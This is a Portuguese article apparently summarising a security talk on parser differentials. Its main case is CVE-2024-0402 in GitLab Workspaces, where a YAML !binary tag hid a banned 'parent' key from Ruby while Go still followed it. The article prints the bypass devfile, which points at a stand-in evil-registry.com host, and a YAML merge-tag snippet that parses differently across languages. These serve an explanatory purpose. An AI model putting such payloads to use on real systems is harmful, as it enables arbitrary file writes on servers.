10º lugar na Lista Top da PortSwigger: Diferenciais de Parser — Como Discrepâncias de Parser Se Tornam Vulnerabilidades

Uma palestra de Yann Schneeberger da GitLab Security Research.
A ideia é simples: dois componentes de uma aplicação analisam a mesma entrada (JSON, JWT, YAML) de maneira diferente. Um atacante cria uma entrada que parece segura para um componente, mas maliciosa para outro.
A palestra cobre três casos; vamos olhar para o terceiro — a análise da CVE-2024-0402 no GitLab Workspaces, pois é o mais intrigante.
O GitLab Workspaces é configurado através de um arquivo de configuração YAML (um devfile). Ele pode incluir uma chave parent, o que implica herança de uma fonte externa. O mecanismo de carregamento do parent era vulnerável a gravações arbitrárias de arquivos via path traversal. No entanto, o código Ruby bloqueava explicitamente esta chave: return err("...not supported") if devfile['parent']
Contexto importante: O GitLab é escrito em Ruby, mas o devfile é processado por um binário Go. O Ruby analisa o YAML primeiro e verifica se a chave parent proibida está presente. Se tudo parecer limpo, ele passa o mesmo YAML para o binário Go, que então baixa recursos e implanta a configuração.
O bypass confiava em uma diferença em como Ruby e Go lidam com as tags YAML !!binary e !binary. No Ruby, !binary decodifica a string de Base64 em uma chave binária. No Go, a tag é simplesmente ignorada, e a chave permanece inalterada:
schemaVersion: 2.2.0 !binary parent: uri: https://evil-registry.com/...
O Ruby vê a chave como "\xA5\xAA\xDE\x9E" (a forma decodificada em Base64 de parent) → a verificação para parent não é acionada.
O Go vê a chave como parent → baixa o devfile externo → path traversal → grava arquivos no servidor.
Bônus: um arquivo YAML — seis linguagens. Após a palestra, o pesquisador Taram Pam criou um arquivo YAML que produz valores diferentes em Ruby, Rust, Node, Go, Java e Python — tudo através de !!binary. A DarkForge Labs foi além e alcançou um resultado similar para quatro parsers sem !!binary — usando merge tags instead:
<<: {?"lang": Go, !!merge : {lang: NodeJS}} dfl: &morge "<<" morge : {lang: RUBY} !!merge : {lang: PYTHON}
Vulnerabilidades
9.9
CVE-2024-0402
Pesquisadores
Joernchen
Fornecedor
Portswigger
Gitlab
Darkforge Labs
Produto
Devfile
Gitlab Workspaces
Go
Java
Json
Jwt
Mais
Publicado
2026-03-04, 09:09